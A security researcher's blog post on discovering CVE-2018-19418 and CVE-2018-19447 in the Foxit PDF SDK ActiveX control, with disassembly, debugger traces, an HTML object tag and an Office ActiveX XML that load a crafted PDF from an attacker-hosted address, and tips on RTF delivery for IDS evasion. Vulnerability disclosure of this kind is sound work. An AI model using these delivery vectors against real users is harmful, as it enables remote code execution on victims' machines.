Foxit SDK

But didn’t Microsoft kill ActiveX? I hear you asking. Well they almost did. As most security practitioners know, ActiveX has had a long history of exploitation and its fair share of remote vulnerabilities. Microsoft themselves have had several ActiveX vulnerabilities disclosed along with many popular third party vendors. Microsoft released an update where they have essentially killed any scripting for ActiveX objects from a remote context.

However, they did leave the ability for ActiveX controls to be instantiated. In some cases, this can still allow for remote code execution from parsing vulnerabilities. I believe was done for backwards compatibility reasons, for example, situations such as the Microsoft Management Console (MMC) which requires trusted ActiveX controls to be instantiated for system management.

TL;DR; In this post, I discuss the mitigations surrounding ActiveX and how they don’t prevent all attacks. Then I discuss the discovery and exploitation of CVE-2018-19418 and just the discovery of CVE-2018-19447 which are client-side vulnerabilities that allows for remote code execution. The only interaction that is required is that the victim opens a malicious office document.

Introduction

The Foxit website explains what Foxit Reader SDK ActiveX is, quickly summing it up as:

PDF SDK ActiveX is ideal for product managers and developers who want an easy to use and a customizable visual component that they can simply drag and drop into their application to quickly create a PDF Viewing application without requiring any PDF expertise.

There are two versions, the Standard and Professional versions. They differ in that the professional version allows you to run arbitrary JavaScript and has access to much more PDF features. These products are not to be confused with Foxit Reader’s own ActiveX control, which ships with its main product, Foxit Reader.

Its own ActiveX control located at C:\Program Files\Foxit Software\Foxit Reader\plugins\FoxitReaderBrowserAx.dll will proxy off the parsing of a PDF to its regular binary, C:\Program Files\Foxit Software\Foxit Reader\FoxitReader.exe. So if there are any parsing vulnerabilities in this code, it can be reached via the DLL as well. Adobe do a similar thing, the only difference being is that it is ran in a sandbox.

The other noticeable difference is that Adobe don’t have standalone ActiveX products which avoids the need for two different parsers. This avoids situations where a bug maybe patched in their core product, yet missed in other PDF parsers that they offer.

The Target

The targets I tested were FoxitPDFSDKActiveX540_Std.msi (eba1a06230cc1a39ccb1fb7f04448a0d78859b60) and FoxitPDFSDKActiveX540_Pro.msi (243a9099c9788dfcf38817f20208e5289b530f56) which were the latest at the time.

However, before auditing the control, we need to make sure that we can even instantiate it without any popups or issues. As it turns out, both controls are Safe for Initialization and do not have the kill bit set.

Loaded File: C:\Program Files\Foxit Software\Foxit PDF SDK ActiveX Std\bin\FoxitPDFSDK_AX_Std.ocx
Name:        FoxitPDFSDKStdLib
Lib GUID:    {5FE9D64A-3BC2-43CB-AA47-F0B0C510EBEA}
Version:     5.0
Lib Classes: 7

Class FoxitPDFSDK
GUID: {0F6C092B-6E4C-4976-B386-27A9FD9E96A1}
Number of Interfaces: 1
Default Interface: _DFoxitPDFSDK
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False

So even though the settings allow us to script it, Microsoft prevents us from doing so with the latest updates (I’m not sure exactly when this was introduced). That’s good, because I audited several of the methods such as OpenFileAsync and found many trivially exploitable stack buffer overflows. I didn’t report them since there doesn’t exist a remote vector anymore.

Initially I wanted a vulnerability that would affect both the standard and professional versions. Since both products share code, it wasn’t too hard to find what I was looking for. However, as mentioned previously, the standard version does not allow JavaScript. If I went after a memory corruption bug, then I may have a harder time for exploitation since I can’t script anything.

The Vulnerabilities

CVE-2018-19418 - Launch Action New Window Command Injection

Since this was an untouched PDF parser that is remotely accessible I decided to go after simple things like logic vulnerabilities. The first thing I decided to do was cross reference all calls to CreateProcessW. As it turns out there was a few actually.

But the most interesting was the one sub_1049FD60 at loc_104A0E80:

.text:10481D95 loc_10481D95:                                         ; CODE XREF: sub_10481D10+81
.text:10481D95                 lea     ecx, [ebp+ProcessInformation]
.text:10481D98                 push    ecx                           ; lpProcessInformation
.text:10481D99                 lea     edx, [ebp+StartupInfo]
.text:10481D9C                 push    edx                           ; lpStartupInfo
.text:10481D9D                 push    0                             ; lpCurrentDirectory
.text:10481D9F                 push    0                             ; lpEnvironment
.text:10481DA1                 push    0                             ; dwCreationFlags
.text:10481DA3                 push    0                             ; bInheritHandles
.text:10481DA5                 push    0                             ; lpThreadAttributes
.text:10481DA7                 push    0                             ; lpProcessAttributes
.text:10481DA9                 push    eax
.text:10481DAA                 lea     ecx, [ebp+var_10]
.text:10481DAD                 call    sub_10163D59
.text:10481DB2                 push    eax                           ; lpCommandLine
.text:10481DB3                 push    0                             ; lpApplicationName
.text:10481DB5                 call    ds:CreateProcessW             ; rce

This code is reached when parsing a PDF with an /OpenAction of type /Launch. I was also able to bypass any popup by setting the /NewWindow tag to true.

Breakpoint 0 hit
eax=05de3fc4 ebx=05f58dc8 ecx=001dee6c edx=001dee18 esi=001dee94 edi=05b07f50
eip=04ae1db5 esp=001dede8 ebp=001dee7c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5:
04ae1db5 ff155403ce04    call    dword ptr [FoxitPDFSDK_AX_Std!DllCanUnloadNow+0x5da73 (04ce0354)] ds:0023:04ce0354={kernel32!CreateProcessW (75d5204d)}

0:000> du poi(@esp+4)
05de3fc4  "c:\Windows\System32\calc.exe"        <-- whatever we want

0:000> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
001dee7c 04ae2612 440f2825 05f58dc8 05ff3fd8 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5
001deecc 04ae27e6 05f10fe8 05ff3fd8 05b07f50 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x1022
001deef8 04ae90be 05f58dc8 440f29c9 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x11f6
001def20 0466c70f 001def74 05dbbf80 440f297d FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7ace
001def94 046766f7 05d6cfd8 04f3d4c8 440f2925 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDisplayStartDate+0x4caf
001defcc 046b789a 06339fd4 001def9c 046958f3 FoxitPDFSDK_AX_Std!DllUnregisterServer+0x328e
001df07c 046961f0 04ce7ea8 00000001 001df184 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0x2c106
001df114 1005cf6a 00000001 0000000f 0fe4c2b4 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0xaa5c
001df1e0 1004819a 0000000f 00000001 0000000b mfc140u+0x29cf6a
001df208 100a4a52 0000000f 00000001 0000000b mfc140u+0x28819a
001df230 00c83c87 001dfb64 0000000f 00000001 mfc140u+0x2e4a52
001df2a0 1001e03d 00000110 00000000 001df2dc image00c80000+0x3c87
001df2b0 7717c4b7 0009048a 00000110 0008047a mfc140u+0x25e03d
001df2dc 77195825 1001e000 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf
001df358 771959c3 00000000 1001e000 0009048a USER32!CreateDialogParamW+0x225
001df3a0 77195bb3 00000000 00000110 0008047a USER32!CreateDialogParamW+0x3c3
001df3bc 7717c4b7 0009048a 00000110 0008047a USER32!DefDlgProcW+0x22
001df3e8 7717c5b7 77195b91 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf
001df460 77171b01 00000000 77195b91 0009048a USER32!gapfnScSendMessage+0x2cf
001df490 77171b27 77195b91 0009048a 00000110 USER32!PeekMessageA+0x18c

CVE-2018-19447 - URI Parsing Stack Based Buffer Overflow

While I was reversing for the logic issues, I happened to stumble upon a neat stack buffer overflow in sub_104CC8B0 at loc_104CC981 when attempting to copy user supplied URI’s to the String1 buffer:

.text:104CC981 loc_104CC981:                                  ; CODE XREF: sub_104CC8B0+C3
.text:104CC981                                                ; sub_104CC8B0+CA
.text:104CC981                 push    offset word_106837E0   ; lpString2
.text:104CC986                 lea     eax, [ebp+String1]
.text:104CC98C                 push    eax                    ; lpString1
.text:104CC98D                 call    ebx                    ; lstrcatW
.text:104CC98F                 push    edi                    ; lpString2
.text:104CC990                 lea     ecx, [ebp+String1]
.text:104CC996                 push    ecx                    ; lpString1
.text:104CC997                 call    ebx                    ; calls lstrcatW to trigger the stack overflow

This function was protected via stack cookies and /SAFESEH was enabled at compile time making this much harder to exploit. Having said that, we will see how we can circumvent these protections in upcoming blog posts!

STATUS_STACK_BUFFER_OVERRUN encountered
(a50.1064): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=2da3944c ecx=75e9e4f4 edx=0031c085 esi=00000000 edi=238c2f50
eip=75e9e371 esp=0031c2cc ebp=0031c348 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!UnhandledExceptionFilter+0x5f:
75e9e371 cc              int     3

0:000> kv L10
 # ChildEBP RetAddr  Args to Child              
00 0031c348 2d4cd47d 2da3944c 96120647 69edf9b8 kernel32!UnhandledExceptionFilter+0x5f (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0031c67c 2d84ca09 00000044 00000000 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDocEventHandler+0x12427
02 0031caec 00410041 00410041 00410041 00410041 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x4b419
03 0031caf0 00410041 00410041 00410041 00410041 0x410041
04 0031caf4 00410041 00410041 00410041 00410041 0x410041
05 0031caf8 00410041 00410041 00410041 00410041 0x410041
06 0031cafc 00410041 00410041 00410041 00410041 0x410041
07 0031cb00 00410041 00410041 00410041 00410041 0x410041
08 0031cb04 00410041 00410041 00410041 00410041 0x410041
09 0031cb08 00410041 00410041 00410041 00410041 0x410041
0a 0031cb0c 00410041 00410041 00410041 00410041 0x410041
0b 0031cb10 00410041 00410041 00410041 00410041 0x410041
0c 0031cb14 00410041 00410041 00410041 00410041 0x410041
0d 0031cb18 00410041 00410041 00410041 00410041 0x410041
0e 0031cb1c 00410041 00410041 00410041 00410041 0x410041
0f 0031cb20 00410041 00410041 00410041 00410041 0x410041

0:000> !exchain
0031c338: kernel32!_except_handler4+0 (75eca332)
  CRT scope  0, filter: kernel32!UnhandledExceptionFilter+69 (75e9e37e)
                func:   kernel32!UnhandledExceptionFilter+6d (75e9e382)
0031cc44: 00410041
Invalid exception stack at 00410041

But how are we going to trigger these vulnerabilities?

The Vectors

Since we can’t script anything, we can’t use exposed methods such as OpenFile. However, when inspecting the control further, we can see their is a property that we can probably set called FilePath.

Listing ActiveX properties and methods

Microsoft Internet Explorer

So if we host the following html file from remote, we can essentially render a pdf via the ActiveX control without scripting!

<object classid='clsid:F53B7748-643C-4A78-8DBC-01A4855D1A10' id='target' />
   <param name="FilePath" value="http://172.16.175.1:9090/sample.pdf" />
</object>
saturn:~$ python -m SimpleHTTPServer 9090
Serving HTTP on 0.0.0.0 port 9090 ...
172.16.175.154 - - [21/Nov/2018 09:48:51] "GET / HTTP/1.1" 200 -
172.16.175.154 - - [21/Nov/2018 09:49:28] "GET /sample.pdf HTTP/1.1" 200 -

The problem with that is, if this site an untrusted (which it will be probably, unless it’s from the local machine zone) then we get this ugly prompt:

Prompts are bad for attackers

After clicking “Allow”, the page does render nicely with our crafted pdf file:

Rendering PDF files in the browser via Foxit.FoxitPDFSDKProCtrl.5

We can see under Manage add-on’s that after clicking “Allow” on the prompt, we have our attacker’s IP in the whitelist of sites to run this control.

Allowlist of approved sites to run the Foxit.FoxitPDFSDKProCtrl.5 control

We have a nice vector given that we can of course run all of this within an iframe and load some cat memes for our victim. But the problem is we are one prompt away from no user interaction and on top of that, who even uses Internet Explorer these days anyway?

Microsoft Office

So at this point, I decided to go through the route of using Microsoft Office. I would imagine its more likely that this product is used in a desktop environment than IE. Also, attack payloads can be crafted for almost all office documents, working in Excel, Word, PowerPoint, Outlook preview pane, etc. The Outlook preview pane is particularly nasty as a user doesn’t even need to open the email that is sent to them, rather just preview it, and we can achieve 100% reliable code execution.

The key difference to office vs IE is that there is no prompt for users to run the ActiveX control in Microsoft Word. I tested this on fully patched versions of Office 2013 and Office 2016 Professional using Windows 10 x86 and x64 as the OS.

At first I built a poc.docx file but I had some issues setting the FilePath property in Word directly after entering a string and pressing enter:

Failing to set the FilePath property, thanks Microsoft, very informative!

To solve this, I just crafted the poc.docx with the target ActiveX control and manually modified the word/activeX/activeX1.xml file to set the FilePath ocxPr property and then zipped it all up again.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{0F6C092B-6E4C-4976-B386-27A9FD9E96A1}" ax:persistence="persistPropertyBag" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
    <ax:ocxPr ax:name="_Version" ax:value="327680"/>
    <ax:ocxPr ax:name="_ExtentX" ax:value="16775"/>
    <ax:ocxPr ax:name="_ExtentY" ax:value="12582"/>
    <ax:ocxPr ax:name="_StockProps" ax:value="0"/>
    <ax:ocxPr ax:name="FilePath" ax:value="http://172.16.175.1:9090/poc.pdf"/>

Using that as a base, I saved the poc.docx as a poc.rtf file. Then to further enhance the rtf poc, I used a template from CVE-2018-8174. I replaced the objClass htmlfile with the crafted Foxit.FoxitPDFSDKStdCtrl.5 objClass instead from the previously saved poc.rtf file.

The final rtf poc seemed clean to me as it was smaller in size and gave more flexibility for obfuscation and IDS avoidance.

Proof of Concept || GTFO

CVE-2018-19418 and CVE-2018-19447. Feel free to enjoy the video I also made!

Click to watch the pwn

Conclusion

At this point, I would normally recommend users to disable ActiveX, don’t open untrusted links, blah blah, but in reality, there is no warning for users when instantiating trusted (by trusted I mean safe for initialization and safe for scripting) ActiveX controls in Microsoft Office and possibly no way they even know they installed a product that contains third party ActiveX controls.

So my message is directed to developers out there. Just stop developing ActiveX controls, period. If you would like to learn how to perform in depth attacks like these against web application targets then feel free to sign up to my training course Full Stack Web Attack in early October this year.

References